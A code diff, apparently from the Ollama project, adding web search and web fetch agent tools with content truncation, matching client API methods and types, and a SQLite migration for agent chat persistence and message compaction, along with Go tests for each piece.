||||
skillDir := filepath.Join(dir, "go-code")
|
||||
if err := os.MkdirAll(skillDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(skillDir, skills.SkillFile), []byte("---\nname: go-code\ndescription: Write Go code.\n---\n\n# Go Code\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
catalog, err := skills.Load(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
skill, ok := catalog.Find("go-code")
|
||||
if !ok {
|
||||
t.Fatal("skill not found")
|
||||
}
|
||||
|
||||
messages, err := ManualSkillMessages(skill, "write a test", 7)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(messages) != 3 {
|
||||
t.Fatalf("messages = %d, want 3", len(messages))
|
||||
}
|
||||
if messages[0].Role != "user" || messages[0].Content != "write a test" {
|
||||
t.Fatalf("user message = %#v", messages[0])
|
||||
}
|
||||
if messages[1].Role != "assistant" || len(messages[1].ToolCalls) != 1 {
|
||||
t.Fatalf("assistant tool call = %#v", messages[1])
|
||||
}
|
||||
call := messages[1].ToolCalls[0]
|
||||
if call.ID != "manual-skill-7-go-code" || call.Function.Name != "skill" {
|
||||
t.Fatalf("tool call = %#v", call)
|
||||
}
|
||||
if name, _ := call.Function.Arguments.Get("name"); name != "go-code" {
|
||||
t.Fatalf("tool args = %s", call.Function.Arguments.String())
|
||||
}
|
||||
if messages[2].Role != "tool" || messages[2].ToolName != "skill" || messages[2].ToolCallID != call.ID {
|
||||
t.Fatalf("tool result metadata = %#v", messages[2])
|
||||
}
|
||||
if !strings.Contains(messages[2].Content, "Loaded skill: go-code") || !strings.Contains(messages[2].Content, "# Go Code") {
|
||||
t.Fatalf("tool result = %q", messages[2].Content)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,195 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
internalcloud "github.com/ollama/ollama/internal/cloud"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrWebSearchAuthRequired = errors.New("web search requires authentication")
|
||||
ErrWebFetchAuthRequired = errors.New("web fetch requires authentication")
|
||||
)
|
||||
|
||||
const (
|
||||
maxWebFetchContentRunes = 60_000
|
||||
webSearchTimeout = 15 * time.Second
|
||||
webFetchTimeout = 30 * time.Second
|
||||
)
|
||||
|
||||
type WebSearch struct{}
|
||||
|
||||
func NewWebSearch() *WebSearch {
|
||||
return &WebSearch{}
|
||||
}
|
||||
|
||||
func (w *WebSearch) Name() string {
|
||||
return "web_search"
|
||||
}
|
||||
|
||||
func (w *WebSearch) Description() string {
|
||||
return "Search the web for current information that may not be in the model's training data."
|
||||
}
|
||||
|
||||
func (w *WebSearch) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("query", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "The search query to look up on the web.",
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: w.Name(),
|
||||
Description: w.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Properties: props,
|
||||
Required: []string{"query"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (w *WebSearch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
|
||||
if internalcloud.Disabled() {
|
||||
return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web search is unavailable"))
|
||||
}
|
||||
query, ok := args["query"].(string)
|
||||
if !ok || strings.TrimSpace(query) == "" {
|
||||
return agent.ToolResult{}, fmt.Errorf("query parameter is required")
|
||||
}
|
||||
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(ctx, webSearchTimeout)
|
||||
defer cancel()
|
||||
|
||||
searchResp, err := client.WebSearchExperimental(ctx, &api.WebSearchRequest{Query: query, MaxResults: 5})
|
||||
if err != nil {
|
||||
var authErr api.AuthorizationError
|
||||
if errors.As(err, &authErr) {
|
||||
return agent.ToolResult{}, ErrWebSearchAuthRequired
|
||||
}
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
if len(searchResp.Results) == 0 {
|
||||
return agent.ToolResult{Content: "No results found for query: " + query}, nil
|
||||
}
|
||||
|
||||
var sb strings.Builder
|
||||
sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query))
|
||||
for i, result := range searchResp.Results {
|
||||
sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title))
|
||||
sb.WriteString(fmt.Sprintf(" URL: %s\n", result.URL))
|
||||
if result.Content != "" {
|
||||
content := []rune(result.Content)
|
||||
if len(content) > 300 {
|
||||
content = append(content[:300], []rune("...")...)
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf(" %s\n", string(content)))
|
||||
}
|
||||
sb.WriteByte('\n')
|
||||
}
|
||||
return agent.ToolResult{Content: sb.String()}, nil
|
||||
}
|
||||
|
||||
type WebFetch struct{}
|
||||
|
||||
func NewWebFetch() *WebFetch {
|
||||
return &WebFetch{}
|
||||
}
|
||||
|
||||
func (w *WebFetch) Name() string {
|
||||
return "web_fetch"
|
||||
}
|
||||
|
||||
func (w *WebFetch) Description() string {
|
||||
return "Fetch and extract text content from a web page."
|
||||
}
|
||||
|
||||
func (w *WebFetch) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("url", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "The URL to fetch and extract content from.",
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: w.Name(),
|
||||
Description: w.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Properties: props,
|
||||
Required: []string{"url"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (w *WebFetch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
|
||||
if internalcloud.Disabled() {
|
||||
return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web fetch is unavailable"))
|
||||
}
|
||||
urlStr, ok := args["url"].(string)
|
||||
if !ok || strings.TrimSpace(urlStr) == "" {
|
||||
return agent.ToolResult{}, fmt.Errorf("url parameter is required")
|
||||
}
|
||||
if _, err := url.Parse(urlStr); err != nil {
|
||||
return agent.ToolResult{}, fmt.Errorf("invalid URL: %w", err)
|
||||
}
|
||||
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(ctx, webFetchTimeout)
|
||||
defer cancel()
|
||||
|
||||
fetchResp, err := client.WebFetchExperimental(ctx, &api.WebFetchRequest{URL: urlStr})
|
||||
if err != nil {
|
||||
var authErr api.AuthorizationError
|
||||
if errors.As(err, &authErr) {
|
||||
return agent.ToolResult{}, ErrWebFetchAuthRequired
|
||||
}
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
|
||||
var sb strings.Builder
|
||||
if fetchResp.Title != "" {
|
||||
sb.WriteString(fmt.Sprintf("Title: %s\n\n", fetchResp.Title))
|
||||
}
|
||||
if fetchResp.Content != "" {
|
||||
sb.WriteString("Content:\n")
|
||||
sb.WriteString(truncateWebFetchContent(fetchResp.Content))
|
||||
} else {
|
||||
sb.WriteString("No content could be extracted from the page.")
|
||||
}
|
||||
return agent.ToolResult{Content: sb.String()}, nil
|
||||
}
|
||||
|
||||
func truncateWebFetchContent(content string) string {
|
||||
runes := []rune(content)
|
||||
if len(runes) <= maxWebFetchContentRunes {
|
||||
return content
|
||||
}
|
||||
omitted := len(runes) - maxWebFetchContentRunes
|
||||
return string(runes[:maxWebFetchContentRunes]) + fmt.Sprintf(
|
||||
"\n\n[tool output truncated: showing first ~%d tokens; omitted ~%d tokens. Use a narrower request or search query if more detail is needed.]",
|
||||
approximateToolTokensFromRunes(maxWebFetchContentRunes),
|
||||
approximateToolTokensFromRunes(omitted),
|
||||
)
|
||||
}
|
||||
|
||||
func approximateToolTokensFromRunes(n int) int {
|
||||
if n <= 0 {
|
||||
return 0
|
||||
}
|
||||
return max(1, (n+3)/4)
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
coreagent "github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
func TestWebToolsDoNotRequireApproval(t *testing.T) {
|
||||
if coreagent.ToolRequiresApproval(NewWebSearch(), map[string]any{"query": "ollama"}) {
|
||||
t.Fatal("web search should not require approval")
|
||||
}
|
||||
if coreagent.ToolRequiresApproval(NewWebFetch(), map[string]any{"url": "https://ollama.com"}) {
|
||||
t.Fatal("web fetch should not require approval")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebFetchBoundsContentBeforeReturning(t *testing.T) {
|
||||
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/api/experimental/web_fetch" {
|
||||
t.Fatalf("path = %q, want /api/experimental/web_fetch", r.URL.Path)
|
||||
}
|
||||
var req api.WebFetchRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if req.URL != "https://ollama.com" {
|
||||
t.Fatalf("request URL = %q, want https://ollama.com", req.URL)
|
||||
}
|
||||
if err := json.NewEncoder(w).Encode(api.WebFetchResponse{
|
||||
Title: "Ollama",
|
||||
Content: strings.Repeat("x", maxWebFetchContentRunes+25),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}))
|
||||
defer ts.Close()
|
||||
t.Setenv("OLLAMA_HOST", ts.URL)
|
||||
|
||||
result, err := NewWebFetch().Execute(t.Context(), coreagent.ToolContext{}, map[string]any{
|
||||
"url": "https://ollama.com",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(result.Content, "[tool output truncated: showing first ~") ||
|
||||
!strings.Contains(result.Content, "omitted ~7 tokens") ||
|
||||
!strings.Contains(result.Content, "Use a narrower request or search query") {
|
||||
t.Fatalf("content missing truncation marker: %q", result.Content)
|
||||
}
|
||||
if count := strings.Count(result.Content, "x"); count != maxWebFetchContentRunes {
|
||||
t.Fatalf("captured content count = %d, want %d", count, maxWebFetchContentRunes)
|
||||
}
|
||||
}
|
||||
@@ -473,6 +473,26 @@ func (c *Client) CloudStatusExperimental(ctx context.Context) (*StatusResponse,
|
||||
return &status, nil
|
||||
}
|
||||
|
||||
// WebSearchExperimental searches the web through the local server's
|
||||
// experimental web search endpoint.
|
||||
func (c *Client) WebSearchExperimental(ctx context.Context, req *WebSearchRequest) (*WebSearchResponse, error) {
|
||||
var resp WebSearchResponse
|
||||
if err := c.do(ctx, http.MethodPost, "/api/experimental/web_search", req, &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
// WebFetchExperimental fetches web page content through the local server's
|
||||
// experimental web fetch endpoint.
|
||||
func (c *Client) WebFetchExperimental(ctx context.Context, req *WebFetchRequest) (*WebFetchResponse, error) {
|
||||
var resp WebFetchResponse
|
||||
if err := c.do(ctx, http.MethodPost, "/api/experimental/web_fetch", req, &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
// Signout will signout a client for a local ollama server.
|
||||
func (c *Client) Signout(ctx context.Context) error {
|
||||
return c.do(ctx, http.MethodPost, "/api/signout", nil, nil)
|
||||
|
||||
@@ -351,6 +351,82 @@ func TestClientDo(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientWebSearchExperimentalUsesLocalRoute(t *testing.T) {
|
||||
var gotPath string
|
||||
var gotMethod string
|
||||
var gotRequest WebSearchRequest
|
||||
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
gotPath = r.URL.Path
|
||||
gotMethod = r.Method
|
||||
if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := json.NewEncoder(w).Encode(WebSearchResponse{
|
||||
Results: []WebSearchResult{{Title: "Ollama", URL: "https://ollama.com", Content: "models"}},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}))
|
||||
defer ts.Close()
|
||||
|
||||
client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
|
||||
resp, err := client.WebSearchExperimental(t.Context(), &WebSearchRequest{Query: "ollama", MaxResults: 3})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if gotMethod != http.MethodPost {
|
||||
t.Fatalf("method = %q, want POST", gotMethod)
|
||||
}
|
||||
if gotPath != "/api/experimental/web_search" {
|
||||
t.Fatalf("path = %q, want /api/experimental/web_search", gotPath)
|
||||
}
|
||||
if gotRequest.Query != "ollama" || gotRequest.MaxResults != 3 {
|
||||
t.Fatalf("request = %#v", gotRequest)
|
||||
}
|
||||
if len(resp.Results) != 1 || resp.Results[0].Title != "Ollama" {
|
||||
t.Fatalf("response = %#v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientWebFetchExperimentalUsesLocalRoute(t *testing.T) {
|
||||
var gotPath string
|
||||
var gotMethod string
|
||||
var gotRequest WebFetchRequest
|
||||
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
gotPath = r.URL.Path
|
||||
gotMethod = r.Method
|
||||
if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := json.NewEncoder(w).Encode(WebFetchResponse{
|
||||
Title: "Ollama",
|
||||
Content: "models",
|
||||
Links: []string{"https://ollama.com/library"},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}))
|
||||
defer ts.Close()
|
||||
|
||||
client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
|
||||
resp, err := client.WebFetchExperimental(t.Context(), &WebFetchRequest{URL: "https://ollama.com"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if gotMethod != http.MethodPost {
|
||||
t.Fatalf("method = %q, want POST", gotMethod)
|
||||
}
|
||||
if gotPath != "/api/experimental/web_fetch" {
|
||||
t.Fatalf("path = %q, want /api/experimental/web_fetch", gotPath)
|
||||
}
|
||||
if gotRequest.URL != "https://ollama.com" {
|
||||
t.Fatalf("request = %#v", gotRequest)
|
||||
}
|
||||
if resp.Title != "Ollama" || resp.Content != "models" {
|
||||
t.Fatalf("response = %#v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
type roundTripFunc func(*http.Request) (*http.Response, error)
|
||||
|
||||
func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
|
||||
@@ -868,6 +868,36 @@ type StatusResponse struct {
|
||||
Cloud CloudStatus `json:"cloud"`
|
||||
}
|
||||
|
||||
// WebSearchRequest is the request for [Client.WebSearchExperimental].
|
||||
type WebSearchRequest struct {
|
||||
Query string `json:"query"`
|
||||
MaxResults int `json:"max_results,omitempty"`
|
||||
}
|
||||
|
||||
// WebSearchResult is a single result from [Client.WebSearchExperimental].
|
||||
type WebSearchResult struct {
|
||||
Title string `json:"title"`
|
||||
URL string `json:"url"`
|
||||
Content string `json:"content"`
|
||||
}
|
||||
|
||||
// WebSearchResponse is the response from [Client.WebSearchExperimental].
|
||||
type WebSearchResponse struct {
|
||||
Results []WebSearchResult `json:"results"`
|
||||
}
|
||||
|
||||
// WebFetchRequest is the request for [Client.WebFetchExperimental].
|
||||
type WebFetchRequest struct {
|
||||
URL string `json:"url"`
|
||||
}
|
||||
|
||||
// WebFetchResponse is the response from [Client.WebFetchExperimental].
|
||||
type WebFetchResponse struct {
|
||||
Title string `json:"title"`
|
||||
Content string `json:"content"`
|
||||
Links []string `json:"links,omitempty"`
|
||||
}
|
||||
|
||||
// GenerateResponse is the response passed into [GenerateResponseFunc].
|
||||
type GenerateResponse struct {
|
||||
// Model is the model name that generated the response.
|
||||
|
||||
+183
-25
@@ -14,7 +14,7 @@ import (
|
||||
|
||||
// currentSchemaVersion defines the current database schema version.
|
||||
// Increment this when making schema changes that require migrations.
|
||||
const currentSchemaVersion = 16
|
||||
const currentSchemaVersion = 17
|
||||
|
||||
// database wraps the SQLite connection.
|
||||
// SQLite handles its own locking for concurrent access:
|
||||
@@ -97,6 +97,8 @@ func (db *database) init() error {
|
||||
CREATE TABLE IF NOT EXISTS chats (
|
||||
id TEXT PRIMARY KEY,
|
||||
title TEXT NOT NULL DEFAULT '',
|
||||
model_name TEXT NOT NULL DEFAULT '',
|
||||
source TEXT NOT NULL DEFAULT 'app',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
browser_state TEXT
|
||||
);
|
||||
@@ -107,6 +109,7 @@ func (db *database) init() error {
|
||||
role TEXT NOT NULL,
|
||||
content TEXT NOT NULL DEFAULT '',
|
||||
thinking TEXT NOT NULL DEFAULT '',
|
||||
images TEXT NOT NULL DEFAULT '[]',
|
||||
stream BOOLEAN NOT NULL DEFAULT 0,
|
||||
model_name TEXT,
|
||||
model_cloud BOOLEAN, -- deprecated
|
||||
@@ -116,15 +119,21 @@ func (db *database) init() error {
|
||||
thinking_time_start TIMESTAMP,
|
||||
thinking_time_end TIMESTAMP,
|
||||
tool_result TEXT,
|
||||
tool_name TEXT NOT NULL DEFAULT '',
|
||||
tool_call_id TEXT NOT NULL DEFAULT '',
|
||||
archived BOOLEAN NOT NULL DEFAULT 0,
|
||||
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id ON messages(chat_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id_id ON messages(chat_id, id);
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id_archived ON messages(chat_id, archived, id);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS tool_calls (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
message_id INTEGER NOT NULL,
|
||||
type TEXT NOT NULL,
|
||||
tool_call_id TEXT NOT NULL DEFAULT '',
|
||||
function_name TEXT NOT NULL,
|
||||
function_arguments TEXT NOT NULL,
|
||||
function_result TEXT,
|
||||
@@ -133,6 +142,17 @@ func (db *database) init() error {
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_tool_calls_message_id ON tool_calls(message_id);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS compactions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
chat_id TEXT NOT NULL,
|
||||
summary TEXT NOT NULL,
|
||||
archived_message_ids TEXT NOT NULL DEFAULT '[]',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_compactions_chat_id ON compactions(chat_id, id);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS attachments (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
message_id INTEGER NOT NULL,
|
||||
@@ -271,6 +291,12 @@ func (db *database) migrate() error {
|
||||
return fmt.Errorf("migrate v15 to v16: %w", err)
|
||||
}
|
||||
version = 16
|
||||
case 16:
|
||||
// add agent chat metadata, message archiving, and compaction tables
|
||||
if err := db.migrateV16ToV17(); err != nil {
|
||||
return fmt.Errorf("migrate v16 to v17: %w", err)
|
||||
}
|
||||
version = 17
|
||||
default:
|
||||
// If we have a version we don't recognize, just set it to current
|
||||
// This might happen during development
|
||||
@@ -278,6 +304,10 @@ func (db *database) migrate() error {
|
||||
}
|
||||
}
|
||||
|
||||
if err := db.ensureCurrentSchema(); err != nil {
|
||||
return fmt.Errorf("ensure current schema: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -540,6 +570,128 @@ func (db *database) migrateV15ToV16() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// migrateV16ToV17 adds the agent chat persistence fields to the app database.
|
||||
func (db *database) migrateV16ToV17() error {
|
||||
for _, stmt := range []struct {
|
||||
sql string
|
||||
msg string
|
||||
}{
|
||||
{`ALTER TABLE chats ADD COLUMN model_name TEXT NOT NULL DEFAULT ''`, "add chats.model_name"},
|
||||
{`ALTER TABLE chats ADD COLUMN source TEXT NOT NULL DEFAULT 'app'`, "add chats.source"},
|
||||
{`ALTER TABLE messages ADD COLUMN images TEXT NOT NULL DEFAULT '[]'`, "add messages.images"},
|
||||
{`ALTER TABLE messages ADD COLUMN tool_name TEXT NOT NULL DEFAULT ''`, "add messages.tool_name"},
|
||||
{`ALTER TABLE messages ADD COLUMN tool_call_id TEXT NOT NULL DEFAULT ''`, "add messages.tool_call_id"},
|
||||
{`ALTER TABLE messages ADD COLUMN archived BOOLEAN NOT NULL DEFAULT 0`, "add messages.archived"},
|
||||
{`ALTER TABLE tool_calls ADD COLUMN tool_call_id TEXT NOT NULL DEFAULT ''`, "add tool_calls.tool_call_id"},
|
||||
} {
|
||||
_, err := db.conn.Exec(stmt.sql)
|
||||
if err != nil && !duplicateColumnError(err) {
|
||||
return fmt.Errorf("%s: %w", stmt.msg, err)
|
||||
}
|
||||
}
|
||||
|
||||
_, err := db.conn.Exec(`
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id_id ON messages(chat_id, id);
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id_archived ON messages(chat_id, archived, id);
|
||||
CREATE TABLE IF NOT EXISTS compactions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
chat_id TEXT NOT NULL,
|
||||
summary TEXT NOT NULL,
|
||||
archived_message_ids TEXT NOT NULL DEFAULT '[]',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_compactions_chat_id ON compactions(chat_id, id);
|
||||
UPDATE settings SET schema_version = 17;
|
||||
`)
|
||||
if err != nil {
|
||||
return fmt.Errorf("create agent chat persistence tables: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (db *database) ensureCurrentSchema() error {
|
||||
complete, err := db.agentPersistenceSchemaComplete()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if complete {
|
||||
return nil
|
||||
}
|
||||
if err := db.migrateV16ToV17(); err != nil {
|
||||
return err
|
||||
}
|
||||
complete, err = db.agentPersistenceSchemaComplete()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !complete {
|
||||
return fmt.Errorf("agent persistence schema is incomplete")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (db *database) agentPersistenceSchemaComplete() (bool, error) {
|
||||
for _, table := range []string{"compactions"} {
|
||||
exists, err := db.tableExists(table)
|
||||
if err != nil || !exists {
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
for _, column := range []struct {
|
||||
table string
|
||||
name string
|
||||
}{
|
||||
{"chats", "model_name"},
|
||||
{"chats", "source"},
|
||||
{"messages", "images"},
|
||||
{"messages", "tool_name"},
|
||||
{"messages", "tool_call_id"},
|
||||
{"messages", "archived"},
|
||||
{"tool_calls", "tool_call_id"},
|
||||
} {
|
||||
exists, err := db.columnExists(column.table, column.name)
|
||||
if err != nil || !exists {
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func (db *database) tableExists(table string) (bool, error) {
|
||||
var count int
|
||||
if err := db.conn.QueryRow(`SELECT COUNT(*) FROM sqlite_master WHERE type = 'table' AND name = ?`, table).Scan(&count); err != nil {
|
||||
return false, err
|
||||
}
|
||||
return count > 0, nil
|
||||
}
|
||||
|
||||
func (db *database) columnExists(table, column string) (bool, error) {
|
||||
rows, err := db.conn.Query(fmt.Sprintf("PRAGMA table_info(%s)", table))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var cid int
|
||||
var name, dataType sql.NullString
|
||||
var notNull, primaryKey int
|
||||
var defaultValue sql.NullString
|
||||
if err := rows.Scan(&cid, &name, &dataType, ¬Null, &defaultValue, &primaryKey); err != nil {
|
||||
return false, err
|
||||
}
|
||||
if name.String == column {
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// cleanupOrphanedData removes orphaned records that may exist due to the foreign key bug
|
||||
func (db *database) cleanupOrphanedData() error {
|
||||
_, err := db.conn.Exec(`
|
||||
@@ -584,18 +736,21 @@ func (db *database) getAllChats() ([]Chat, error) {
|
||||
c.id,
|
||||
c.title,
|
||||
c.created_at,
|
||||
COALESCE(first_msg.content, '') as first_user_content,
|
||||
COALESCE(datetime(MAX(m.updated_at)), datetime(c.created_at)) as last_updated
|
||||
COALESCE((
|
||||
SELECT fm.content
|
||||
FROM messages fm
|
||||
WHERE fm.chat_id = c.id
|
||||
AND fm.role = 'user'
|
||||
AND fm.archived = 0
|
||||
ORDER BY fm.id ASC
|
||||
LIMIT 1
|
||||
), '') as first_user_content,
|
||||
COALESCE(MAX(m.updated_at), c.created_at) as last_updated
|
||||
FROM chats c
|
||||
LEFT JOIN (
|
||||
SELECT chat_id, content, MIN(id) as min_id
|
||||
FROM messages
|
||||
WHERE role = 'user'
|
||||
GROUP BY chat_id
|
||||
) first_msg ON c.id = first_msg.chat_id
|
||||
LEFT JOIN messages m ON c.id = m.chat_id
|
||||
GROUP BY c.id, c.title, c.created_at, first_msg.content
|
||||
ORDER BY last_updated DESC
|
||||
LEFT JOIN messages m ON c.id = m.chat_id AND m.archived = 0
|
||||
WHERE c.source = 'app'
|
||||
GROUP BY c.id, c.title, c.created_at
|
||||
ORDER BY last_updated DESC, COALESCE(MAX(m.id), 0) DESC, c.created_at DESC, c.id DESC
|
||||
`
|
||||
|
||||
rows, err := db.conn.Query(query)
|
||||
@@ -618,25 +773,27 @@ func (db *database) getAllChats() ([]Chat, error) {
|
||||
&firstUserContent,
|
||||
&lastUpdatedStr,
|
||||
)
|
||||
|
||||
// Parse the last updated time
|
||||
lastUpdated, _ := time.Parse("2006-01-02 15:04:05", lastUpdatedStr)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("scan chat: %w", err)
|
||||
}
|
||||
|
||||
lastUpdated, err := parseAgentSQLiteTime(lastUpdatedStr)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parse chat updated_at: %w", err)
|
||||
}
|
||||
|
||||
chat.CreatedAt = createdAt
|
||||
|
||||
// Add a dummy first user message for the UI to display
|
||||
// This is just for the excerpt, full messages are loaded when needed
|
||||
chat.Messages = []Message{}
|
||||
if firstUserContent != "" {
|
||||
chat.Messages = append(chat.Messages, Message{
|
||||
Role: "user",
|
||||
Content: firstUserContent,
|
||||
UpdatedAt: lastUpdated,
|
||||
})
|
||||
// Add a summary message for the UI to display the excerpt and latest update.
|
||||
// Full messages are loaded when a chat is opened.
|
||||
summary := Message{
|
||||
UpdatedAt: lastUpdated,
|
||||
}
|
||||
if firstUserContent != "" {
|
||||
summary.Role = "user"
|
||||
summary.Content = firstUserContent
|
||||
}
|
||||
chat.Messages = []Message{summary}
|
||||
|
||||
chats = append(chats, chat)
|
||||
}
|
||||
@@ -780,6 +937,7 @@ func (db *database) updateLastMessage(chatID string, msg Message) error {
|
||||
var messageID int64
|
||||
err = tx.QueryRow(`
|
||||
SELECT MAX(id) FROM messages WHERE chat_id = ?
|
||||
AND archived = 0
|
||||
`, chatID).Scan(&messageID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("get last message id: %w", err)
|
||||
@@ -887,7 +1045,7 @@ func (db *database) getMessages(chatID string, loadAttachmentData bool) ([]Messa
|
||||
query := `
|
||||
SELECT id, role, content, thinking, stream, model_name, created_at, updated_at, thinking_time_start, thinking_time_end, tool_result
|
||||
FROM messages
|
||||
WHERE chat_id = ?
|
||||
WHERE chat_id = ? AND archived = 0
|
||||
ORDER BY id ASC
|
||||
`
|
||||
|
||||
|
||||
@@ -174,6 +174,100 @@ func TestMigrationV15ToV16LastHomeViewDefaultsToLaunch(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMigrationV16ToV17AddsAgentSchema(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
dbPath := filepath.Join(tmpDir, "test.db")
|
||||
|
||||
db, err := newDatabase(dbPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to create database: %v", err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
if _, err := db.conn.Exec(`
|
||||
DROP INDEX IF EXISTS idx_messages_chat_id_id;
|
||||
DROP INDEX IF EXISTS idx_messages_chat_id_archived;
|
||||
DROP INDEX IF EXISTS idx_compactions_chat_id;
|
||||
